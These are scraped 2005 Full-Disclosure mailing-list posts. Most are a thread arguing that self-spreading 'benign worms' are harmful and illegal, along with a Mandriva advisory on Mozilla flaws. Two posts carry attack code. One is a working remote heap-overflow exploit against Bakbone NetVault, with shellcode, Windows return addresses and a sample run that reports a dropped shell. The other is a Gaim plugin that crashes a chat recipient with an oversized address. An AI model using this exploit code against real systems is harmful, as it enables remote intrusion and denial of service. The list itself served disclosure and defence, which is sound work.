research was done in the late 70s and the paper was publish in 1982. http://news.com.com/Year+of+the+Worm/2009-1001_3-254061.html Another good example is the Trend Micro update snafu that caused clients to suck up 100 percent of CPU time. While the individual nodes did not infect others, cleanup involved many, many nodes, similar to cleaning up after a worm. A better approach is an automated scanning and patch system (this is more akin to the Trend Micro--or for that matter, any antivirus company--update situation) or a system that sends out exploits for various holes and, if a system is rooted, updates that system. Then, if something goes wrong, you only have one system to shut down and fix the programs on, rather than cleaning your entire network. HP has played around with an exploit-node-type network. http://news.com.com/HP+aims+to+throttle+Net+threats/2100-7349_3-5163633.html Infecting other machines with even a beneficial worm is illegal if you are not the owner of the machine. Infecting a network that you have ownership over with a beneficial worm is generally a bad thing, because the network effects of self propagation are hard to gauge and small errors can easily turn into big problems. Just wait until we start playing around with programming genes of organisms that self replicate. http://www.securityfocus.com/news/11082 -R -- | robert lemos | | editor-at-large, securityfocus | [EMAIL PROTECTED] | | technology journalist | [EMAIL PROTECTED] | ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Benign Worms
1. Do people do that? Or at least, have you considered it? Well, obviously it's been done. You mentioned two examples. Both of them caused significant network disruption in and of themselves. 2. If yes, under what conditions would you do that? None. Not even on my own network and not even if I'd coded it to stay within our /16. Too many things could go wrong. 3. If not, what prevents you from doing that? Any worm/virus, regardless of intent, is still illegal -- and I don't think I can get a DSL line in jail. Cheers, Michael Holstein CISSP GCIA Cleveland State University ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Netvault Remote Heap Overflow (another one)
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1
+ the reed arvin's discovery , it does 4 vulnerabilities in 3 months :
nolimit bugtraq a écrit :
Here is another remote heap overflow for the Bakbone Netvault
software. The code is attached.
--
/* Bakbone Netvault heap overflow exploit. Software Hole discovered
by BuzzDee POC written by nolimit and BuzzDee.
As class101 has already shown, this application has a lot of holes.
This is another remote heap overflow. This was tested on the demo
version of netvault. We considered mailing the vendor on this one,
but figured we'd recieve the same response class did, which was
none. So perhaps a second critical vulnerabilty will wake Bakbone
up to their software faults.
A note to skiddies about this exploit This won't really net you a
lot of elite b0xes because class101's isn't patched, so it's just
as vulnerable as this. Not to mention the fact that not many
businesses use this software anyway. ..Maybe it's because of all
the holes??
Thx to Flare, AceHigh, Shift,class101, and of course BuzzDee.
Sorry.. everyone wants to be famous :)
C:\CODING\c++\netvault\Releasenetvault 1 2KVM [*] Target: 2KVM
Port: 20031
Targetting 2K.. [*] Socket initialized... [*] Sending buffer. [*]
Sleeping.. [*] Connecting again to trigger overflow..
[*] Connecting to host: 2KVM on port 101 [*] Exploit worked!
dropping into shell Microsoft Windows 2000 [Version 5.00.2195] (C)
Copyright 1985-2000 Microsoft Corp.
C:\Program Files\BakBone Software\NetVault [EMAIL PROTECTED] */
#include stdio.h #include string.h #include io.h #include
winsock.h #pragma comment(lib,ws2_32)
void cmdshell (int sock); long gimmeip(char *hostname); char
buffer[4]; //initial request to host char packet[]=
\x00\x00\x02\x01\x00\x00\x00\x8F\xD0\xF0\xCA\x0B\x00\x00\x00\x69
\x3B\x62\x3B\x6F\x3B\x6F\x3B\x7A\x3B\x00\x11\x57\x3C\x42\x00\x01
\xB9\xF9\xA2\xC8\x00\x00\x00\x00\x03\x00\x00\x00\x00\x01\xA5\x97
\xF0\xCA\x05\x00\x00\x00\x6E\x33\x32\x3B\x00\x20\x00\x00\x00\x10
\x02\x4E\x3F\xAC\x14\xCC\x0A\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01
\xA5\x97\xF0\xCA\x05\x00\x00\x00\x6E\x33\x32\x3B\x00\x20\x00\x00
\x00\x10\x02\x4E\x3F\xC0\xA8\xEA\xEB\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x01\xA5\x97\xF0\xCA\x05\x00\x00\x00\x6E\x33\x32\x3B\x00\x20
\x00\x00\x00\x10\x02\x4E\x3F\xC2\x97\x2C\xD3\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\xB9\xF9\xA2\xC8\x02\x02\x00\x00\x00\xA5\x97\xF0\xCA
\x05\x00\x00\x00\x6E\x33\x32\x3B\x00\x20\x00\x00\x00\x04\x02\x4E
\x3F\xAC\x14\xCC\x0A\xB0\xFC\xE2\x00\x00\x00\x00\x00\xEC\xFA\x8E
\x01\xA4\x6B\x41\x00\xE4\xFA\x8E\x01\xFF\xFF\xFF\xFF\x01\x02;
//class101 modified shellcode from metasploit.com. yummy. char
shellcode[]=
\x33\xC9\x83\xE9\xAF\xD9\xEE\xD9\x74\x24\xF4\x5B\x81\x73\x13\xBB
\x1E\xD3\x6A\x83\xEB\xFC\xE2\xF4\x47\x74\x38\x25\x53\xE7\x2C\x95
\x44\x7E\x58\x06\x9F\x3A\x58\x2F\x87\x95\xAF\x6F\xC3\x1F\x3C\xE1
\xF4\x06\x58\x35\x9B\x1F\x38\x89\x8B\x57\x58\x5E\x30\x1F\x3D\x5B
\x7B\x87\x7F\xEE\x7B\x6A\xD4\xAB\x71\x13\xD2\xA8\x50\xEA\xE8\x3E
\x9F\x36\xA6\x89\x30\x41\xF7\x6B\x50\x78\x58\x66\xF0\x95\x8C\x76
\xBA\xF5\xD0\x46\x30\x97\xBF\x4E\xA7\x7F\x10\x5B\x7B\x7A\x58\x2A
\x8B\x95\x93\x66\x30\x6E\xCF\xC7\x30\x5E\xDB\x34\xD3\x90\x9D\x64
\x57\x4E\x2C\xBC\x8A\xC5\xB5\x39\xDD\x76\xE0\x58\xD3\x69\xA0\x58
\xE4\x4A\x2C\xBA\xD3\xD5\x3E\x96\x80\x4E\x2C\xBC\xE4\x97\x36\x0C
\x3A\xF3\xDB\x68\xEE\x74\xD1\x95\x6B\x76\x0A\x63\x4E\xB3\x84\x95
\x6D\x4D\x80\x39\xE8\x4D\x90\x39\xF8\x4D\x2C\xBA\xDD\x76\xD3\x0F
\xDD\x4D\x5A\x8B\x2E\x76\x77\x70\xCB\xD9\x84\x95\x6D\x74\xC3\x3B
\xEE\xE1\x03\x02\x1F\xB3\xFD\x83\xEC\xE1\x05\x39\xEE\xE1\x03\x02
\x5E\x57\x55\x23\xEC\xE1\x05\x3A\xEF\x4A\x86\x95\x6B\x8D\xBB\x8D
\xC2\xD8\xAA\x3D\x44\xC8\x86\x95\x6B\x78\xB9\x0E\xDD\x76\xB0\x07
\x32\xFB\xB9\x3A\xE2\x37\x1F\xE3\x5C\x74\x97\xE3\x59\x2F\x13\x99
\x11\xE0\x91\x47\x45\x5C\xFF\xF9\x36\x64\xEB\xC1\x10\xB5\xBB\x18
\x45\xAD\xC5\x95\xCE\x5A\x2C\xBC\xE0\x49\x81\x3B\xEA\x4F\xB9\x6B
\xEA\x4F\x86\x3B\x44\xCE\xBB\xC7\x62\x1B\x1D\x39\x44\xC8\xB9\x95
\x44\x29\x2C\xBA\x30\x49\x2F\xE9\x7F\x7A\x2C\xBC\xE9\xE1\x03\x02
\x54\xD0\x33\x0A\xE8\xE1\x05\x95\x6B\x1E\xD3\x6A;
char jmpToXP[]=\xBD\x9B\x36\x7C; //XP SP1 char
uefOverWriteXP[]=\xB4\x73\xED\x77;//XP SP1 char
jmpTo2K[]=\x7E\x6D\x03\x75; //2k SP4 char
uefOverWrite2K[]=\x4C\x14\x54\x7C; //2K SP4
int main(int argc,char *argv[]) { WSADATA wsaData; struct
sockaddr_in targetTCP; int sockTCP,s; unsigned short port = 20031;
long ip; if(argc 3) { printf(Bakbone Netvault Remote Heap
Overflow.\n Usage: %s [Target] [address] port\n eg:
netvault.exe 1 127.0.0.1\n Targets\n1. Windows 2000\n2. Windows
XP SP0-1\n Coded by [EMAIL PROTECTED] and BuzzDee.\n,argv[0]); return
1; } if(argc==4)
Re: [Full-disclosure] Benign Worms
On Fri, 13 May 2005, k k wrote: There is debate surrounding whether releasing benign worms such as Nachi or Welcha, First off, lets get something straight: Neither of your two examples was in any way benign. Both of these cost carriers and their customers *billions* of dollars. Many of us spent weeks with little to no sleep cleaning up the mess these benign viruses created. in general is ethical or not. I don't know where you've been looking, but the only place I've seen the ethics of this seriously debated is in middle schools and the like. There is no serious question that this is a hostile act, and cannot logically be considered ethical under *any* conceivable circumstances. But network administrators can still create benign worms for their need (not necessarily Nachi or Welcha) and release them in their domain to patch systems. You actually know admins that write viruses to do their patching? Sorry, but I think you're full of shit. If you're not, then these admins need to be immediately given a boot in the balls, followed by an unemployment benefit. Why would an *administrator*, someone with FULL rights to the machine, use such a device to place patches??? -- Yours, J.A. Terranson [EMAIL PROTECTED] 0xBD4A95BF What this country needs is a good old fashioned nuclear enema. ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Benign Worms
On Fri, 13 May 2005 15:43:44 CDT, J.A. Terranson said: On Fri, 13 May 2005, k k wrote: There is debate surrounding whether releasing benign worms such as Nachi or Welcha, First off, lets get something straight: Neither of your two examples was in any way benign. Both of these cost carriers and their customers *billions* of dollars. Many of us spent weeks with little to no sleep cleaning up the mess these benign viruses created. He confused Once upon a time, some of us thought it might be a good idea, until we thought it through and realized it was a Bad Idea. Unfortunately, newbies keep falling out of trees and re-inventing Bad Ideas with this is a topic where clued reputable people can hold different opinions on the issue. pgpLWyT6mTvNX.pgp Description: PGP signature ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Benign Worms
On Fri, May 13, 2005 9:59 am, Michael Holstein said: 3. If not, what prevents you from doing that? Any worm/virus, regardless of intent, is still illegal -- and I don't think I can get a DSL line in jail. Not true. Intent is *everything* as far a criminal activity is concerned. Intent aside, if you restrict the worm to your subnet that you own and are authorized to alter the systems on, then even releasing a malicious worm would be legal. Maybe not very smart, but legal. It's only illegal if you affect systems you're not authorized to affect. -Eric -- arctic bears - email and dns services http://www.arcticbears.com ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Benign Worms
On Fri, 13 May 2005, Eric Paynter wrote: On Fri, May 13, 2005 9:59 am, Michael Holstein said: 3. If not, what prevents you from doing that? Any worm/virus, regardless of intent, is still illegal -- and I don't think I can get a DSL line in jail. Not true. Intent is *everything* as far a criminal activity is concerned. Don't quit your day job to work as a lawyer. There are a many laws that turn on facts rather than intent. Lack of criminal intent does not shield a citizen from the BATF. In United States v. Thomas, the defendant found a 16- inch-long gun while horseback riding. Taking it to be an antique pistol, he pawned it. But it turned out to be short-barreled rifle, which should have been registered before selling. Although the prosecutor conceded that Thomas lacked criminal intent, he was convicted of a felony anyway.[64] The Supreme Court's decision in United States v. Freed declared that criminal intent was not necessary for a conviction of violation of the Gun Control Act of 1968.[65] David Kopel, in Trust The People: The Case Against Gun Control Note: This is not intended to bring gun control into the argument, it was simply the first clear example I found of a conviction for a crime without intent. -- Benjamin Franz Simple things should be simple, complex things should be possible. - Alan Kay ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] MDKSA-2005:088 - Updated mozilla packages fix multiple vulnerabilities
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 ___ Mandriva Linux Security Update Advisory ___ Package name: mozilla Advisory ID:MDKSA-2005:088 Date: May 13th, 2005 Affected versions: 10.1, 10.2, Corporate 3.0 __ Problem Description: A number of security vulnerabilities were fixed in the Mozilla Firefox 1.0.4 and Mozilla Suite 1.7.8 releases. Patches have been backported where appropriate; Corporate 3.0 is receiving the new Mozilla Suite 1.7.8 release. The following issues have been fixed in both Mozilla Firefox and Mozilla Suite: - A flaw in the Javascript regular expression handling could lead to a disclosure of browser memory, potentially exposing private data from web pages viewed, passwords, or similar data sent to other web pages. It could also crash the browser itself (CAN-2005-0989, MFSA 2005-33) - With manual Plugin install, it was possible for the Plugin to execute javascript code with the installing user's privileges (CAN-2005-0752 and MFSA 2005-34) - The popup for showing blocked javascript used the wrong privilege context which could be sued for privilege escalation (CAN-2005-1153 and MFSA 2005-35) - Cross-site scripting through global scope pollution could lead an attacker to being able to run code in foreign websites context, leading to the potential sniffing of information or performing actions in that context (CAN-2005-1154 and MFSA 2005-36) - Code execution through javascript via favicons (firelinking) could be used for privilege escalation (CAN-2005-1155 and MFSA 2005-37) - Search plugin cross-site scripting (firesearching) (CAN-2005-1156, CAN-2005-1157, and MFSA 2005-38) - Arbitrary code execution via the Firefox sidebar panel II (CAN-2005-1158 and MFSA 2005-39) - Missing Install object instance checks (CAN-2005-1159 and MFSA 2005-40) - Privilege escalation via DOM property overrides (CAN-2005-1160 and MFSA 2005-41) - Code execution via javacript: IconURL (MFSA 2005-42) - Security check bypass by wrapping a javascript: URL in the view-source: pseudo protocol (MFSA 2005-43) - Privilege escalation via non-DOM property overrides (MFSA 2005-44) In addition to the vulnerabilities previously noted, the following issues have been fixed in the Mozilla Suite 1.7.2 packages: - Bypass restriction on opening privileged XUL (CAN-2005-0401 and MSF 2005-32) - Arbitrary code execution via a GIF processing error when parsing obsolete Netscape extension 2 leading to an exploitable heap overrun (CAN-2005-0401 and MFSA 2005-32) - International Domain Name support could allow for characters that look similar to other english letters to be used in constructing nearly perfect phishing sites (MFSA 2005-29) - Predictable plugin temporary directory name (MFSA 2005-28) - Plugins can be used to load privileged content into a frame (CAN-2005-0527 and MFSA 2005-27) - Cross-site scripting attack via dropping javascript: links on a tab (MFSA 2005-26) - Image dragging-and-drop from a web page to the desktop preserve their original name and extension; if this were an executable extension then the file would be executed rather than opened in a media application (MFSA 2005-25) - HTTP authentication prompt tab spoofing (MFSA 2005-24) - Download dialog source can be disguised by using a host name long enough that most significant parts are truncated, allowing a malicious site to spoof the origin of the file (MFSA 2005-23) - Download dialog spoofing via supplied Content-Disposition header could allow for a file to look like a safe file (ie. a JPEG image) and when downloaded saved with an executable extension (MFSA 2005-22) - XSLT can include stylesheets from arbitrary hosts (MFSA 2005-20) - Memory handling flaw in Mozilla string classes that could overwrite memory at a fixed location if reallocation fails during string growth (MFSA 2005-18) - Install source spoofing with user:[EMAIL PROTECTED] (MFSA 2005-17) - Spoofing download and security dialogs with overlapping windows (MFSA 2005-16) - It is possible for a UTF8 string with invalid sequences to trigger a heap overflow of converted Unicode data (MFSA 2005-15) - SSL secure site indicator spoofing (MFSA 2005-14) - Mozilla mail clients responded to cookie requests accompanying content loaded over HTTP, ignoring the setting of the preference network.cookie.disableCookieForMailNews which could be used to track people (MFSA 2005-11) - Browser responds to proxy authentication requests from non-proxy servers (SSL/HTTPS) (MFSA 2005-09) - Snythetic middle-click event can steal clipboard
Re: [Full-disclosure] Benign Worms
On Fri, May 13, 2005 3:49 pm, Benjamin Franz said: There are a many laws that turn on facts rather than intent. Lack of criminal intent does not shield a citizen from the BATF. In United States v. Thomas, the defendant found a 16- inch-long gun while horseback riding. Taking it to be an antique pistol, he pawned it. But it turned out to be short-barreled rifle, which should have been registered before selling. Although the prosecutor conceded that Thomas lacked criminal intent, he was convicted of a felony anyway.[64] The Supreme Court's decision in United States v. Freed declared that criminal intent was not necessary for a conviction of violation of the Gun Control Act of 1968.[65] David Kopel, in Trust The People: The Case Against Gun Control I think we're getting a little into an argument of semantics. The defendant did in fact *intend* to sell the weapon, which was against the law to do. He just wasn't aware of the law. Ignorance of the law does not protect you. Try these two scenarios out: 1. I kill somebody with the intent to kill, and then I claim I didn't know killing was illegal. Most courts would still say murder. 2. I kill somebody because they are attacking me with a lethal weapon. I know killing is illegal, but my intent is not to kill the other person, but rather to save myself, and the only way to save myself is to use lethal force. If I can *prove* my intent was to save myself, then it is not murder. Back to the original argument, if the intent is to patch PCs for which I have the authority to patch, then I'm not doing anything illegal, no matter what kind of software I create to do it. Even if the worm that I create somehow gets out, but I can *prove* my intent was for it to not get out, then even though releasing a worm is illegal, the worst I might get is criminal negligence for not taking the proper precautions. Anyhow, I think we all agree that writing a worm to do patch management is generally a bad idea. -Eric -- arctic bears - email and dns services http://www.arcticbears.com ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] Gaim 1.2.1 -- PoC Stack Overflow
Product: Gaim
Version: 1.2.1
Remote: Yes
Effect: DoS, potential arbitrary code execution
Date: May 13, 2005
I was looking at the stack overflow reported in Gaim 1.2.1. It's
actually pretty trivial to find. The line that contains it looks like this:
strcpy(url_buf, gurl_buf-str);
url_buf is a 8192-byte buffer, and gurl_buf-str is an email address
that is being displayed (user controlled).
The difficulty in writing a real exploit is that the input is sanitized,
so any character over 128, as well as ' ', ',', '\n', '', and others
are stripped away. This doesn't leave much to play with, although I'm
still confident that it would be possible to write an exploit under
these conditions. I just don't have the motivation to do it :)
Another difficulty is that most chat protocols limit you to a reasonable
message size, and 8192 is typically well above that size. So even if
you could successfully create an exploit, you would still have to do it
on a chat protocol that allows very long messages.
The final difficulty is that you also process the URL locally, when you
send it, but that's not really a big deal. It would be trivial to
filter it out in a plugin to make sure you don't crash yourself.
For this example, I just threw together a quik plugin which sends a
10002-character email address when the user types /vuln. Gaim crashes
at the address 0x41414141.
---
(gdb) run
Starting program: /usr/local/bin/gaim
[Thread debugging using libthread_db enabled]
[New Thread 16384 (LWP 24908)]
Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 16384 (LWP 24908)]
0x41414141 in ?? ()
---
So in a real situation, this can be done. It's just difficult.
If anybody is actually able to use this for anything, please let me
know. I'd be interested how this can be exploited.
-Ron
// Written by Ron [EMAIL PROTECTED]
// Friday, May 13, 2005
//
// This is a very weak demonstration of Gaim 1.2.1's stack overflow
vulnerability
// when processing email addresses. What this basically does is segfault you
when you
// do a /vuln command in a conversation, and, if you're using a protocol that
allows
// a 10002-character message to go through, also segfaults the person you sent
it to.
// The reason is that gaim's stack is overwritten with a whole bunch of 'A's,
and
// the return address of the function ends up at 0x41414141. That's no good
for
// anybody.
//
// This code should be considered public domain, and is freely
modifiable/distributable
// by any and everyone.
//
// Note:
// To compile, place this in the plugins directory of Gaim's source
// (gaim-1.2.1/plugins) and type make vuln-plugin.so. This will compile
vuln-plugin.so.
// Then put it in ~/.gaim/plugins, restart gaim, and load it as a plugin.
#include unistd.h
#include ctype.h
#include string.h
#include locale.h
#include stdio.h
#include stdlib.h
#include string.h
#include internal.h
#include gtkgaim.h
#include debug.h
#include signals.h
#include util.h
#include version.h
#include cmds.h
#include conversation.h
#include gtkplugin.h
#include gtkutils.h
#define ME 1.2.1 Vuln Check
#define MAXLENGTH 1024
#define XMMS_PLUGIN_VERSION I am a test plugin to check for URL encoding
vulnerability.
static GaimCmdId cmd;
char *code = [EMAIL PROTECTED];
gboolean go(GaimConversation *conv, const gchar *cmd, gchar **args, gchar
**error, void *data)
{
gaim_conv_im_send(GAIM_CONV_IM(conv), code);
return GAIM_CMD_STATUS_OK;
}
static gboolean plugin_load(GaimPlugin *plugin)
{
cmd = gaim_cmd_register(vuln, , GAIM_CMD_P_DEFAULT,
GAIM_CMD_FLAG_IM, NULL, (GaimCmdFunc)go, /vuln, NULL);
return TRUE;
}
static gboolean plugin_unload(GaimPlugin *plugin)
{
gaim_cmd_unregister (cmd);
return TRUE;
}
static GaimPluginInfo info =
{
GAIM_PLUGIN_MAGIC,
GAIM_MAJOR_VERSION,
GAIM_MINOR_VERSION,
GAIM_PLUGIN_STANDARD,/** type */
NULL,/** ui_requirement */
0, /** flags*/
NULL,/** dependencies */
GAIM_PRIORITY_DEFAULT, /** priority */
NULL,/** id
*/
N_(1.2.1 Email Overflow Demo),/**
name */
VERSION, /** version */
/** summary */
N_(),
/** description
*/
N_(),
Ron [EMAIL PROTECTED], /** author */
, /** homepage*/
plugin_load, /** load*/
plugin_unload,
